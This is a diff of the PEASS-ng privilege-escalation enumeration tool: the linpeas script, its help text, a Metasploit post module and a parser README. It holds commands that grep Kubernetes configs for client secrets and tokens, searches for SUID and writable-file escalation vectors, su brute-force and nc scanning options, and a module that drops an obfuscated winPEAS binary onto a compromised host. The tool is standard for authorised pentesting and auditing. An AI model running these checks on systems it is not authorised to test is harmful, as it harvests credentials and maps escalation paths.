grep -ERH "client-secret:|id-token:|refresh-token:" "$HOME/.kube" 2>/dev/null | sed -${E} "s,client-secret:.*|id-token:.*|refresh-token:.*,${SED_RED},"
|
|
||||||
(env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED},"
|
|
||||||
ls -Rl /etc/kubernetes /var/lib/localkube 2>/dev/null
|
|
||||||
fi
|
|
||||||
|
|
||||||
peass{Kubelet}
|
|
||||||
|
|
||||||
peass{Firefox}
|
peass{Firefox}
|
||||||
|
|
||||||
@@ -622,6 +636,20 @@ peass{EXTRA_SECTIONS}
|
|||||||
|
|
||||||
peass{Interesting logs}
|
peass{Interesting logs}
|
||||||
|
|
||||||
peass{Windows Files}
|
peass{Windows}
|
||||||
|
|
||||||
peass{Other Interesting Files}
|
peass{Other Interesting}
|
||||||
|
|
||||||
|
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||||
|
print_2title "Checking leaks in git repositories"
|
||||||
|
printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do
|
||||||
|
if echo "$f" | grep -Eq ".git$"; then
|
||||||
|
git_dirname=$(dirname "$f")
|
||||||
|
if [ "$MACPEAS" ]; then
|
||||||
|
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
|
||||||
|
else
|
||||||
|
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ check_critial_root_path(){
|
|||||||
|
|
||||||
##-- IF) SUID
|
##-- IF) SUID
|
||||||
print_2title "SUID - Check easy privesc, exploits and write perms"
|
print_2title "SUID - Check easy privesc, exploits and write perms"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||||
if ! [ "$STRINGS" ]; then
|
if ! [ "$STRINGS" ]; then
|
||||||
echo_not_found "strings"
|
echo_not_found "strings"
|
||||||
fi
|
fi
|
||||||
@@ -90,7 +90,7 @@ echo ""
|
|||||||
|
|
||||||
##-- IF) SGID
|
##-- IF) SGID
|
||||||
print_2title "SGID"
|
print_2title "SGID"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||||
sgids_files=$(find / -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
sgids_files=$(find / -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||||
for s in $sgids_files; do
|
for s in $sgids_files; do
|
||||||
s=$(ls -lahtr "$s")
|
s=$(ls -lahtr "$s")
|
||||||
@@ -150,7 +150,7 @@ echo ""
|
|||||||
|
|
||||||
##-- IF) Misconfigured ld.so
|
##-- IF) Misconfigured ld.so
|
||||||
print_2title "Checking misconfigurations of ld.so"
|
print_2title "Checking misconfigurations of ld.so"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so"
|
||||||
printf $ITALIC"/etc/ld.so.conf\n"$NC;
|
printf $ITALIC"/etc/ld.so.conf\n"$NC;
|
||||||
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||||
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
||||||
@@ -169,7 +169,7 @@ echo ""
|
|||||||
|
|
||||||
##-- IF) Capabilities
|
##-- IF) Capabilities
|
||||||
print_2title "Capabilities"
|
print_2title "Capabilities"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||||
echo "Current capabilities:"
|
echo "Current capabilities:"
|
||||||
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
|
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
|
||||||
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
||||||
@@ -205,7 +205,7 @@ echo ""
|
|||||||
##-- IF) Users with capabilities
|
##-- IF) Users with capabilities
|
||||||
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Users with capabilities"
|
print_2title "Users with capabilities"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||||
if [ -f "/etc/security/capability.conf" ]; then
|
if [ -f "/etc/security/capability.conf" ]; then
|
||||||
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||||
else echo_not_found "/etc/security/capability.conf"
|
else echo_not_found "/etc/security/capability.conf"
|
||||||
@@ -215,7 +215,7 @@ fi
|
|||||||
|
|
||||||
##-- IF) Files with ACLs
|
##-- IF) Files with ACLs
|
||||||
print_2title "Files with ACLs (limited to 50)"
|
print_2title "Files with ACLs (limited to 50)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
|
||||||
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||||
|
|
||||||
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
||||||
@@ -233,7 +233,7 @@ echo ""
|
|||||||
|
|
||||||
##-- IF) .sh files in PATH
|
##-- IF) .sh files in PATH
|
||||||
print_2title ".sh files in path"
|
print_2title ".sh files in path"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
|
||||||
echo $PATH | tr ":" "\n" | while read d; do
|
echo $PATH | tr ":" "\n" | while read d; do
|
||||||
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
|
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
|
||||||
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
||||||
@@ -257,12 +257,18 @@ if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
|||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
||||||
if [ "$MACPEAS" ]; then
|
if [ "$MACPEAS" ]; then
|
||||||
print_2title "Unsigned Applications"
|
print_2title "Unsigned Applications"
|
||||||
macosNotSigned /System/Applications
|
macosNotSigned /System/Applications
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
##-- IF) Unexpected in /opt
|
||||||
|
if [ "$(ls /opt 2>/dev/null)" ]; then
|
||||||
|
print_2title "Unexpected in /opt (usually empty)"
|
||||||
|
ls -la /opt
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
##-- IF) Unexpected folders in /
|
##-- IF) Unexpected folders in /
|
||||||
print_2title "Unexpected in root"
|
print_2title "Unexpected in root"
|
||||||
if [ "$MACPEAS" ]; then
|
if [ "$MACPEAS" ]; then
|
||||||
@@ -274,7 +280,7 @@ echo ""
|
|||||||
|
|
||||||
##-- IF) Files (scripts) in /etc/profile.d/
|
##-- IF) Files (scripts) in /etc/profile.d/
|
||||||
print_2title "Files (scripts) in /etc/profile.d/"
|
print_2title "Files (scripts) in /etc/profile.d/"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
|
||||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||||
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
||||||
check_critial_root_path "/etc/profile"
|
check_critial_root_path "/etc/profile"
|
||||||
@@ -284,7 +290,7 @@ echo ""
|
|||||||
|
|
||||||
##-- IF) Files (scripts) in /etc/init.d/
|
##-- IF) Files (scripts) in /etc/init.d/
|
||||||
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
|
||||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||||
check_critial_root_path "/etc/init/"
|
check_critial_root_path "/etc/init/"
|
||||||
check_critial_root_path "/etc/init.d/"
|
check_critial_root_path "/etc/init.d/"
|
||||||
@@ -375,7 +381,7 @@ echo ""
|
|||||||
|
|
||||||
##-- IF) Writable log files
|
##-- IF) Writable log files
|
||||||
print_2title "Writable log files (logrotten) (limit 100)"
|
print_2title "Writable log files (logrotten) (limit 100)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
|
||||||
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
||||||
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
||||||
logfind=$(find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100)
|
logfind=$(find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100)
|
||||||
@@ -442,9 +448,9 @@ FILECMD="$(command -v file 2>/dev/null)"
|
|||||||
if [ "$PSTORAGE_DATABASE" ]; then
|
if [ "$PSTORAGE_DATABASE" ]; then
|
||||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||||
if [ "$FILECMD" ]; then
|
if [ "$FILECMD" ]; then
|
||||||
echo "Found: $(file $f)" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||||
else
|
else
|
||||||
echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
SQLITEPYTHON=""
|
SQLITEPYTHON=""
|
||||||
@@ -514,7 +520,7 @@ echo ""
|
|||||||
##-- IF) Interesting writable files by ownership or all
|
##-- IF) Interesting writable files by ownership or all
|
||||||
if ! [ "$IAMROOT" ]; then
|
if ! [ "$IAMROOT" ]; then
|
||||||
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||||
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
||||||
obmowbe=$(find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
obmowbe=$(find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||||
printf "%s\n" "$obmowbe" | while read entry; do
|
printf "%s\n" "$obmowbe" | while read entry; do
|
||||||
@@ -531,7 +537,7 @@ fi
|
|||||||
##-- IF) Interesting writable files by group
|
##-- IF) Interesting writable files by group
|
||||||
if ! [ "$IAMROOT" ]; then
|
if ! [ "$IAMROOT" ]; then
|
||||||
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||||
for g in $(groups); do
|
for g in $(groups); do
|
||||||
iwfbg=$(find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
iwfbg=$(find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||||
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
||||||
|
|||||||
@@ -69,21 +69,21 @@ THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lsc
|
|||||||
HELP=$GREEN"Enumerate and search Privilege Escalation vectors.
|
HELP=$GREEN"Enumerate and search Privilege Escalation vectors.
|
||||||
${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors.
|
${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors.
|
||||||
${YELLOW}-h${BLUE} To show this message
|
${YELLOW}-h${BLUE} To show this message
|
||||||
${YELLOW}-q${BLUE} Do not show banner
|
|
||||||
${YELLOW}-e${BLUE} Perform extra enumeration
|
${YELLOW}-e${BLUE} Perform extra enumeration
|
||||||
${YELLOW}-s${BLUE} SuperFast (don't check some time consuming checks) - Stealth mode
|
${YELLOW}-s${BLUE} Stealth & faster (don't check some time consuming checks)
|
||||||
${YELLOW}-a${BLUE} All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly
|
${YELLOW}-a${BLUE} All checks except Internet connectivity checks and automatic network recon (use -t to enable them)
|
||||||
${YELLOW}-w${BLUE} Wait execution between big blocks of checks
|
${YELLOW}-t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files
|
||||||
${YELLOW}-N${BLUE} Do not use colours
|
|
||||||
${YELLOW}-D${BLUE} Debug mode
|
|
||||||
${YELLOW}-P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
|
||||||
${YELLOW}-o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list.
|
${YELLOW}-o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list.
|
||||||
|
${YELLOW}-P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
||||||
|
${YELLOW}-w${BLUE} Wait execution between big blocks of checks
|
||||||
${YELLOW}-L${BLUE} Force linpeas execution.
|
${YELLOW}-L${BLUE} Force linpeas execution.
|
||||||
${YELLOW}-M${BLUE} Force macpeas execution.
|
${YELLOW}-M${BLUE} Force macpeas execution.
|
||||||
|
${YELLOW}-N${BLUE} Do not use colours
|
||||||
|
${YELLOW}-D${BLUE} Debug mode
|
||||||
|
${YELLOW}-q${BLUE} Do not show banner
|
||||||
${YELLOW}-d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24
|
${YELLOW}-d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24
|
||||||
${YELLOW}-p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139
|
${YELLOW}-p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139
|
||||||
${YELLOW}-i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
${YELLOW}-i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
||||||
${YELLOW}-t${BLUE} Automatic network scan (host discovery and port scanning) - This option writes to files
|
|
||||||
$GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed$NC"
|
$GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed$NC"
|
||||||
|
|
||||||
while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do
|
while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do
|
||||||
@@ -218,9 +218,9 @@ print_support () {
|
|||||||
${GREEN}/---------------------------------------------------------------------------\\
|
${GREEN}/---------------------------------------------------------------------------\\
|
||||||
| ${BLUE}Do you like PEASS?${GREEN} |
|
| ${BLUE}Do you like PEASS?${GREEN} |
|
||||||
|---------------------------------------------------------------------------|
|
|---------------------------------------------------------------------------|
|
||||||
| ${YELLOW}Become a Patreon${GREEN} : ${RED}https://www.patreon.com/peass${GREEN} |
|
| ${YELLOW}Get latest LinPEAS${GREEN} : ${RED}https://github.com/sponsors/carlospolop${GREEN} |
|
||||||
| ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} |
|
| ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} |
|
||||||
| ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli & makikvues${GREEN} |
|
| ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} |
|
||||||
|---------------------------------------------------------------------------|
|
|---------------------------------------------------------------------------|
|
||||||
| ${BLUE}Thank you! ${GREEN} |
|
| ${BLUE}Thank you! ${GREEN} |
|
||||||
\---------------------------------------------------------------------------/
|
\---------------------------------------------------------------------------/
|
||||||
@@ -237,7 +237,7 @@ printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC;
|
|||||||
echo ""
|
echo ""
|
||||||
printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC"
|
printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC"
|
||||||
echo ""
|
echo ""
|
||||||
printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist\n"$NC
|
printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC
|
||||||
echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m,"
|
echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m,"
|
||||||
echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW},"
|
echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW},"
|
||||||
echo " RED: You should take a look to it" | sed "s,RED,${SED_RED},"
|
echo " RED: You should take a look to it" | sed "s,RED,${SED_RED},"
|
||||||
@@ -473,7 +473,7 @@ while $SEDOVERFLOW; do
|
|||||||
#else
|
#else
|
||||||
# WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort`
|
# WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort`
|
||||||
#fi
|
#fi
|
||||||
Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[^\*][^\ ]*\ \*"
|
Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*"
|
||||||
Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)"
|
Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)"
|
||||||
printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1
|
printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1
|
||||||
if [ $? -eq 0 ]; then
|
if [ $? -eq 0 ]; then
|
||||||
@@ -910,6 +910,11 @@ printf $LG"Hostname: "$NC
|
|||||||
hostname 2>/dev/null
|
hostname 2>/dev/null
|
||||||
printf $LG"Writable folder: "$NC;
|
printf $LG"Writable folder: "$NC;
|
||||||
echo $Wfolder
|
echo $Wfolder
|
||||||
|
|
||||||
|
if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then
|
||||||
|
printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC;
|
||||||
|
fi
|
||||||
|
|
||||||
if [ "$DISCOVER_BAN_GOOD" ]; then
|
if [ "$DISCOVER_BAN_GOOD" ]; then
|
||||||
printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC"
|
printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC"
|
||||||
else
|
else
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Post
|
|||||||
))
|
))
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh', "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe"]),
|
OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"]),
|
||||||
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
|
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
|
||||||
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
|
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
|
||||||
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
|
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
|
||||||
|
|||||||
@@ -1,14 +1,15 @@
|
|||||||
# Privilege Escalation Awesome Scripts JSON exporter
|
# Privilege Escalation Awesome Scripts Parsers
|
||||||
|
|
||||||
This script allows you to transform the output of linpeas/macpeas/winpeas to JSON.
|
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
|
||||||
|
|
||||||
```python3
|
```python3
|
||||||
python3 peass-parser.py </path/to/executed_peass> </path/to/output_peass.json>
|
python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json>
|
||||||
|
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
|
||||||
|
python3 json2html.py </path/to/peass.json> </path/to/peass.html>
|
||||||
```
|
```
|
||||||
|
|
||||||
This script is still in beta version and has been tested only with linpeas output.
|
|
||||||
|
|
||||||
## Format
|
## JSON Format
|
||||||
Basically, **each section has**:
|
Basically, **each section has**:
|
||||||
- Infos (URLs or info about the section)
|
- Infos (URLs or info about the section)
|
||||||
- Text lines (the real text info found in the section, colors included)
|
- Text lines (the real text info found in the section, colors included)
|
||||||
@@ -37,7 +38,7 @@ There is a **maximun of 3 levels of sections**.
|
|||||||
}
|
}
|
||||||
],
|
],
|
||||||
"infos": [
|
"infos": [
|
||||||
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
"https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"infos": []
|
"infos": []
|
||||||
@@ -64,7 +65,7 @@ There is a **maximun of 3 levels of sections**.
|
|||||||
}
|
}
|
||||||
],
|
],
|
||||||
